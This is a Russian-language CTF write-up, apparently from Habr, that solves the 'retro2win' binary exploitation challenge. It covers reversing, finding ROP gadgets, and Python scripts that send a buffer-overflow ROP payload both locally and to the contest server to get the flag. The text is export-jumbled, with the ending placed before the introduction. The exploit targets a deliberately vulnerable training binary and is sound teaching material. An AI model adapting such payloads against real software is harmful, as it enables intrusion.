\u0441\u0442\u0435\u043a\u0430 \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b \u0434\u043b\u044f \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432. \u041f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 x86, \u043f\u0435\u0440\u0432\u044b\u0439 \u0438 \u0432\u0442\u043e\u0440\u043e\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b <code>rsi<\/code> &amp; <code>rdi<\/code>. \u0414\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0432\u0435\u0449\u0435\u0439 \u0435\u0441\u0442\u044c \u043a\u0443\u0447\u0430 \u0433\u043e\u0442\u043e\u0432\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439. \u042f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0441\u043e\u0431\u0440\u0430\u043d\u044b\u0439 \u043d\u0430 rust\u0435 <a href=\"https:\/\/github.com\/Ben-Lichtman\/ropr\">ropr<\/a>.<\/p>\n<pre><code>tkchk@laptop:~\/Downloads\/retro2win\/challenge$ ropr retro2win | grep pop\\ rsi  ==&gt; Found 99 gadgets in 0.009 seconds 0x004009b1: pop rsi; pop r15; ret; tkchk@laptop:~\/Downloads\/retro2win\/challenge$ ropr retro2win | grep pop\\ rdi  ==&gt; Found 99 gadgets in 0.010 seconds 0x004009b3: pop rdi; ret;<\/code><\/pre>\n<p>\u041d\u0430\u0448\u043b\u0438 \u0430\u0436 \u0446\u0435\u043b\u044b\u0445 99 \u0448\u0442\u0443\u043a, \u043d\u043e \u043d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 <code>pop rsi<\/code> &amp; <code>pop rdi<\/code> . \u0417\u0434\u0435\u0441\u044c \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043b\u0438\u0448\u043d\u0438\u0439 <code>pop r15<\/code>. \u0418\u0437\u0431\u0430\u0432\u0438\u0442\u0441\u044f \u043e\u0442 \u043d\u0435\u0433\u043e \u043c\u044b \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430\u0441 \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0442\u044c \u0432\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u0432\u0432\u043e\u0434\u0430 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430 <code>0x4242424242424242<\/code> . \u0423 \u043d\u0430\u0441 64-\u0445 \u0431\u0438\u0442\u043d\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u2014 \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u043c \u043d\u0430 8 \u0440\u0430\u043d\u0434\u043e\u043c\u043d\u044b\u0445 \u0431\u0430\u0439\u0442. \u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0430\u0434\u0440\u0435\u0441\u0430 \u0441\u0435\u0431\u0435 \u0432 \u0431\u043b\u043e\u043a\u043d\u043e\u0442\u0438\u043a.<\/p>\n<h3>\u276f \u0424\u0438\u043d\u0430\u043b\u043e\u0447\u043a\u0430<\/h3>\n<p>\u0418\u0442\u043e\u0433\u043e, \u043d\u0430\u043c \u043d\u0430\u0434\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u0432\u0435\u0441\u0442\u0438:<\/p>\n<ol>\n<li>\n<p>\u0417\u0430\u0433\u043b\u0443\u0448\u043a\u0443 \u0432 24 \u0431\u0430\u0439\u0442\u0430<\/p>\n<\/li>\n<li>\n<p>\u0410\u0434\u0440\u0435\u0441 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0433\u0430\u0434\u0436\u0435\u0442\u0430 <code>0x00000000004009b3<\/code><\/p>\n<\/li>\n<li>\n<p>\u041f\u0435\u0440\u0432\u044b\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 <code>0x2323232323232323<\/code> <\/p>\n<\/li>\n<li>\n<p>\u0410\u0434\u0440\u0435\u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0433\u0430\u0434\u0436\u0435\u0442\u0430 <code>0x00000000004009b1<\/code><\/p>\n<\/li>\n<li>\n<p>\u0412\u0442\u043e\u0440\u043e\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 <code>0x4242424242424242<\/code> <\/p>\n<\/li>\n<li>\n<p>8-\u043c\u0438 \u0431\u0430\u0439\u0442\u043e\u0432\u0430\u044f \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0430<\/p>\n<\/li>\n<li>\n<p>\u0410\u0434\u0440\u0435\u0441 <code>cheat_mode<\/code> <code>0x0000000000400736<\/code><\/p>\n<\/li>\n<li>\n<p>\u0421\u0438\u043c\u0432\u043e\u043b \u043d\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 <code>0x0a<\/code><\/p>\n<\/li>\n<\/ol>\n<p>\u0414\u043e\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c <code>pwn.py<\/code> .<\/p>\n<pre><code class=\"python\">tkchk@laptop:~\/Documents\/pwn\/retro2win\/challenge$ cat pwn.py  import pexpect  child = pexpect.spawn('.\/retro2win') child.expect('Select an option:') child.sendline ('1337') child.expect('Enter your cheatcode:') child.sendline(b'AAAAAAAAAAAAAAAAAAAAAAAA\\xb3\\x09\\x40\\x00\\x00\\x00\\x00\\x00\\x23\\x23\\x23\\x23\\x23\\x23\\x23\\x23\\xb1\\x09\\x40\\x00\\x00\\x00\\x00\\x00\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42AAAAAAAA\\x36\\x07\\x40\\x00\\x00\\x00\\x00\\x00\\x0a') print(child.before) child.interact()<\/code><\/pre>\n<p>\u0418\u0442\u0430\u043a, \u0434\u0430\u043c\u044b \u0438 \u0433\u043e\u0441\u043f\u043e\u0434\u0430, \u0443 \u043d\u0430\u0441 \u0432\u0441\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c! \u041c\u044b \u0432\u0438\u0434\u0438\u043c \u0444\u043b\u0430\u0433.<\/p>\n<pre><code>tkchk@laptop:~\/Documents\/pwn\/retro2win\/challenge$ python3 pwn.py  b'\\r\\n1337\\r\\n'  AAAAAAAAAAAAAAAAAAAAAAAA\ufffd@^@^@^@^@^@########\ufffd@^@^@^@^@^@BBBBBBBBAAAAAAAA6^G@^@^@^@^@^@  Checking cheatcode: AAAAAAAAAAAAAAAAAAAAAAAA\ufffd@! CHEAT MODE ACTIVATED! You now have access to secret developer tools...  FLAG: INTIGRITI{fake_flag}<\/code><\/pre>\n<p>\u0414\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u043b\u0430\u0433\u0430 \u043d\u0430\u043c \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043c\u0435\u043b\u043e\u0447\u044c \u2014 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0441\u043e\u043a\u0435\u0442\u043e\u043c. \u0422\u0435\u043f\u0435\u0440\u044c \u0434\u0435\u043b\u0430\u0435\u043c <code>net.py<\/code><\/p>\n<pre><code class=\"python\">tkchk@laptop:~\/Documents\/pwn\/retro2win\/challenge$ cat net.py  import socket  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('retro2win.ctf.intigriti.io', 1338)) response = s.recv(4096) s.sendall(b'1337\\n') response = s.recv(4096) s.sendall(b'AAAAAAAAAAAAAAAAAAAAAAAA\\xb3\\x09\\x40\\x00\\x00\\x00\\x00\\x00\\x23\\x23\\x23\\x23\\x23\\x23\\x23\\x23\\xb1\\x09\\x40\\x00\\x00\\x00\\x00\\x00\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42AAAAAAAA\\x36\\x07\\x40\\x00\\x00\\x00\\x00\\x00\\x0a') response = s.recv(4096) print(response)<\/code><\/pre>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c, \u043f\u043e\u043f\u0443\u0442\u043d\u043e \u0437\u0430\u043c\u0435\u043d\u044f\u044f \u0432\u0441\u0435 \u043f\u0440\u043e\u0431\u0435\u043b\u044b \u043d\u0430 \u043d\u043e\u0432\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 (\u044d\u0442\u043e \u0447\u0438\u0441\u0442\u043e \u0434\u043b\u044f \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0430):<\/p>\n<pre><code>tkchk@laptop:~\/Documents\/pwn\/retro2win\/challenge$ python3 net.py | sed 's\/ \/\\n\/g' b'Checking cheatcode: AAAAAAAAAAAAAAAAAAAAAAAA\\xb3\\t@!\\r\\nCHEAT MODE ACTIVATED!\\r\\nYou now have access to secret developer tools...\\r\\n\\r\\nFLAG: INTIGRITI{3v3ry_c7f_n33d5_50m3_50r7_0f_r372w1n}\\r\\n'<\/code><\/pre>\n<p>\u0424\u043b\u0430\u0433 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u0432 \u043a\u043e\u043d\u0446\u0435 \u0441\u043f\u0438\u0441\u043a\u0430. \u0414\u0440\u0443\u0437\u044c\u044f, \u043c\u044b \u0440\u0435\u0448\u0438\u043b\u0438 \u0447\u0435\u043b\u043b\u0435\u043d\u0434\u0436. \u041a\u0430\u043a \u044f \u0443\u0436\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u043b, \u0434\u0430\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u0430\u043b\u043e\u0441\u044c \u043c\u043d\u0435 \u0441 \u0431\u043e\u043b\u044c\u0448\u0438\u043c \u0442\u0440\u0443\u0434\u043e\u043c, \u043d\u043e \u0432\u0441\u0435 \u0442\u0430\u043a\u0438 \u044f \u0435\u0433\u043e \u043e\u0441\u0438\u043b\u0438\u043b. \u0421\u0442\u0430\u0432\u044c\u0442\u0435 \u043b\u0430\u0439\u043a\u0438 \u0438 \u043f\u0438\u0448\u0438\u0442\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438. \u0414\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0432 \u0441\u0435\u0442\u0438!<\/p>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/t.me\/timewebru\"><strong>\u041d\u043e\u0432\u043e\u0441\u0442\u0438, \u043e\u0431\u0437\u043e\u0440\u044b \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0438 \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u044b \u043e\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b Timeweb.Cloud\u00a0<\/strong><\/a>\u2014<a href=\"https:\/\/t.me\/timewebru\"><strong>\u00a0\u0432 \u043d\u0430\u0448\u0435\u043c Telegram-\u043a\u0430\u043d\u0430\u043b\u0435<\/strong><\/a>\u00a0<strong>\u21a9<\/strong><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/5fc\/4de\/cda\/5fc4decdad5e03afac9916f691a1aae1.png\" alt=\"\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u21a9\" title=\"\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u21a9\" width=\"1560\" height=\"563\" data-src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/5fc\/4de\/cda\/5fc4decdad5e03afac9916f691a1aae1.png\"\/><\/p>\n<div><figcaption><a href=\"https:\/\/timeweb.cloud\/?i=106909\"><strong><em>\u041f\u0435\u0440\u0435\u0439\u0442\u0438<\/em><\/strong><\/a><strong><em> \u21a9<\/em><\/strong><\/figcaption><\/div>\n<\/figure>\n<h4>\ud83d\udcda \u0427\u0438\u0442\u0430\u0439\u0442\u0435 \u0442\u0430\u043a\u0436\u0435:<\/h4>\n<ul>\n<li>\n<p><em>\u27a4<\/em><a href=\"https:\/\/habr.com\/ru\/companies\/timeweb\/articles\/845410\/\">\u00a0<\/a><a href=\"https:\/\/habr.com\/ru\/companies\/timeweb\/articles\/864326\/\"><em>\u0417\u0430\u0449\u0438\u0442\u0430 \u0441\u0445\u0435\u043c\u044b \u043e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u044e\u0441\u043e\u0432\u043a\u0438, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0449\u0435?<\/em><\/a><\/p>\n<\/li>\n<li>\n<p><em>\u27a4\u00a0<\/em><a href=\"https:\/\/habr.com\/ru\/companies\/timeweb\/articles\/864914\/\"><em>\u0427\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e \u043d\u0430\u0448\u0443\u043c\u0435\u0432\u0448\u0435\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043e \u202d\u00ab\u0441\u0431\u0435\u0436\u0430\u0432\u0448\u0438\u0445 \u0438 \u043e\u0431\u043c\u0430\u043d\u044b\u0432\u0430\u044e\u0449\u0438\u0445\u202d\u00bb \u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u044f\u0437\u044b\u043a\u043e\u0432\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u044f\u0445<\/em><\/a><\/p>\n<\/li>\n<li>\n<p><em>\u27a4<\/em><a href=\"https:\/\/habr.com\/ru\/companies\/timeweb\/articles\/680850\/\">\u00a0<\/a><a href=\"https:\/\/habr.com\/ru\/companies\/timeweb\/articles\/861844\/\"><em>\u041c\u043e\u0436\u0435\u0442 \u043b\u0438 Orange PI 5 Plus \u0441 32 \u0413\u0411 \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u0439\/\u043e\u0444\u0438\u0441\u043d\u044b\u0439 \u041f\u041a?<\/em><\/a><\/p>\n<\/li>\n<li>\n<p><em>\u27a4\u00a0<\/em><a href=\"https:\/\/habr.com\/ru\/companies\/timeweb\/articles\/860574\/\"><em>\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f Core Web Vitals<\/em><\/a><\/p>\n<\/li>\n<li>\n<p><em>\u27a4<\/em>\u00a0<a href=\"https:\/\/habr.com\/ru\/companies\/timeweb\/articles\/866604\/\"><em>\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u0436\u0430\u043d\u0440\u0430 \u0438\u043b\u0438 \u041f\u043e\u0447\u0435\u043c\u0443 \u043c\u044b \u043b\u044e\u0431\u0438\u043c \u0438\u0433\u0440\u044b \u043f\u0440\u043e \u0437\u043e\u043c\u0431\u0438?<\/em><\/a><\/p>\n<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/861638\/\"> https:\/\/habr.com\/ru\/articles\/861638\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0423\u0432\u0430\u0436\u0430\u0435\u043c\u044b\u0435 \u0434\u0430\u043c\u044b \u0438 \u0433\u043e\u0441\u043f\u043e\u0434\u0430, \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044e \u0432\u0430\u043c \u0435\u0449\u0435 \u043e\u0434\u043d\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0447\u0435\u043b\u043b\u0435\u043d\u0434\u0436\u0435\u0439 \u0441 \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 1337UP LIVE CTF 2024. \u0414\u0430\u043d\u043d\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u043a\u0430\u0440\u0434\u0438\u043d\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b \u0432 <a href=\"https:\/\/habr.com\/ru\/companies\/timeweb\/articles\/860812\/\">\u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435<\/a>. \u0421\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0442\u0430\u043a\u0438 \u0432\u044b\u0441\u043e\u043a\u0430\u044f. \u041d\u043e, \u043d\u0435 \u0431\u0443\u0434\u0435\u043c \u043e\u0442\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0442\u044c \u0434\u0435\u043b\u0430 \u043d\u0430 \u043f\u043e\u0442\u043e\u043c. \u0418\u0434\u0435\u043c \u043d\u0430 <a href=\"https:\/\/ctf.intigriti.io\/challenges\">\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0441 \u0447\u0435\u043b\u043b\u0435\u043d\u0434\u0436\u0435\u043c<\/a> \u0438 \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0430\u0435\u043c.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041a\u0430\u043a \u044f \u0443\u0436\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u043b \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435, \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043f\u0430\u0442\u0447\u0438\u043d\u0433\u0430 \u043d\u0430\u043c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440, \u0433\u0434\u0435 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439. \u0421\u043a\u0430\u0447\u0430\u0432 \u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u0430\u0432 \u0430\u0440\u0445\u0438\u0432, \u044f \u0443\u0432\u0438\u0434\u0435\u043b \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0430\u043c \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a, \u043d\u043e \u0438 docker \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043f\u043e\u0434 \u043d\u0435\u0433\u043e. \u0414\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 \u0443 \u043d\u0430\u0441 \u043d\u0435\u0442\u0443 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041c\u043d\u0435 \u043a\u0440\u0430\u0439\u043d\u0435 \u043d\u0435 \u043f\u043e\u043d\u044f\u0442\u043d\u043e \u0437\u0430\u0447\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u0442\u0435\u043b\u044c \u0447\u0435\u043b\u043b\u0435\u043d\u0434\u0436\u0430 \u0440\u0435\u0448\u0438\u043b \u043e\u0431\u0435\u0440\u043d\u0443\u0442\u044c \u044d\u0442\u043e \u0432 docker \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440. \u0424\u0430\u0439\u043b\u0438\u043a <code>flag.txt<\/code> \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0432 \u0441\u0435\u0431\u0435 <code>INTIGRITI{fake_flag}<\/code><\/p>\n<pre><code>tkchk@laptop:~\/Downloads\/retro2win$ tree . \u251c\u2500\u2500 challenge \u2502\u00a0\u00a0 \u251c\u2500\u2500 Dockerfile \u2502\u00a0\u00a0 \u251c\u2500\u2500 flag.txt \u2502\u00a0\u00a0 \u2514\u2500\u2500 retro2win \u251c\u2500\u2500 docker-compose.yml \u2514\u2500\u2500 start.sh  2 directories, 5 files<\/code><\/pre>\n<h2>\u276f \u0417\u043d\u0430\u043a\u043e\u043c\u0441\u0442\u0432\u043e \u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439<\/h2>\n<pre><code>tkchk@laptop:~\/Downloads\/retro2win\/challenge$ .\/retro2win  ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option:<\/code><\/pre>\n<p>\u0412\u0430\u0443, \u043d\u0430\u043c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0441\u044b\u0433\u0440\u0430\u0442\u044c \u0432 \u0438\u0433\u0440\u0443. \u0418\u043c\u0435\u0435\u043c \u0437\u0434\u0435\u0441\u044c 2 \u043e\u043f\u0438\u0446\u0438\u0438 \u2014 \u0441\u0445\u043e\u0434\u0438\u0442\u044c \u0432 \u043b\u0435\u0441 \u0438\u043b\u0438 \u043f\u043e\u0434\u0440\u0430\u0442\u0441\u044f \u0441 \u0434\u0440\u0430\u043a\u043e\u043d\u043e\u043c. \u0427\u0442\u043e \u0436\u0435, \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043e\u0431\u0435.<\/p>\n<pre><code>tkchk@laptop:~\/Downloads\/retro2win\/challenge$ .\/retro2win  ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option: 1 You are walking through a dark forest... I don't think there's any flags around here...<\/code><\/pre>\n<p>\u0422\u0430\u043a, \u0432 \u043b\u0435\u0441\u0443 \u0444\u043b\u0430\u0433\u043e\u0432 \u043d\u0435\u0442. \u0414\u0432\u0438\u0433\u0430\u0435\u043c \u0434\u0430\u043b\u044c\u0448\u0435<\/p>\n<pre><code>tkchk@laptop:~\/Downloads\/retro2win\/challenge$ .\/retro2win  ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option: 2 You encounter a ferocious dragon! But it's too strong for you... Only if you had some kind of cheat...<\/code><\/pre>\n<p>\u0414\u0440\u0430\u043a\u043e\u043d\u0430 \u043c\u044b \u0442\u043e\u0436\u0435 \u043d\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u043e\u0441\u0438\u043b\u0438\u0442\u044c, \u043d\u043e \u043d\u0430\u043c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0433\u0434\u0435-\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0445\u0438\u0442\u0440\u043e\u0441\u0442\u044c. \u0417\u0430 \u0445\u0438\u0442\u0440\u043e\u0441\u0442\u044f\u043c\u0438 \u043b\u0435\u0437\u0435\u043c \u0432 \u0434\u0438\u0437\u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440. \u041e\u043f\u044f\u0442\u044c \u0442\u0430\u043a\u0438, \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e \u0444\u0440\u0438\u0448\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Binary Ninja.<\/p>\n<h2>\u276f \u0420\u0435\u0432\u0435\u0440\u0441<\/h2>\n<figure class=\"full-width\"><\/figure>\n<p>\u041d\u0430\u0448\u0430 <code>main<\/code> \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0432\u043e\u0442 \u0442\u0430\u043a. \u0424\u0443\u043d\u043a\u0446\u0438\u044f <code>show_main_menu<\/code> \u043d\u0430\u0441 \u044f\u0432\u043d\u043e \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442. \u0427\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <code>__isoc99_scanf<\/code> \u043c\u044b \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0435 \u0441 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e <code>var_c<\/code> . \u041f\u043e\u0442\u043e\u043c \u044d\u0442\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f <code>rax_3<\/code> . \u0410 \u0443\u0436\u0435 \u0434\u0430\u043b\u044c\u0448\u0435 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u043a\u0443\u0447\u0443 <code>if<\/code> , \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0440\u0443\u043b\u044f\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u043c\u044b \u0432\u0432\u0435\u043b\u0438 \u043d\u0430 \u043a\u043e\u043d\u0441\u043e\u043b\u044c. \u0424\u0443\u043d\u043a\u0446\u0438\u0438 <code>battle_dragon<\/code> \u0438 <code>explore_forest<\/code> \u043d\u0430\u0441 \u0442\u043e\u0436\u0435 \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0442 \u2014 \u0442\u0430\u043c \u043c\u044b \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u043c \u0442\u0435\u043a\u0441\u0442. \u0410 \u0432\u043e\u0442 \u043a \u0444\u0443\u043d\u0446\u0438\u0438 <code>enter_cheatcode<\/code> \u043c\u044b \u0434\u043e\u0431\u0435\u0440\u0435\u043c\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0432\u0432\u0435\u0434\u0435\u043c <code>0x539<\/code> \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043a\u043e\u043f\u0430\u0442\u044c \u044d\u0442\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435. <code>0x539<\/code> \u044d\u0442\u043e \u0434\u0435\u0441\u044f\u0442\u0438\u0447\u043d\u043e\u0435 <code>1337<\/code>. \u041e\u0445 \u0438 \u043b\u044e\u0431\u044f\u0442 \u043e\u043d\u0438 \u044d\u0442\u043e\u0442 leet. \u041b\u0430\u0434\u043d\u043e, \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0446\u0438\u0444\u0435\u0440\u043a\u0443.<\/p>\n<pre><code>tkchk@laptop:~\/Downloads\/retro2win\/challenge$ .\/retro2win  ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 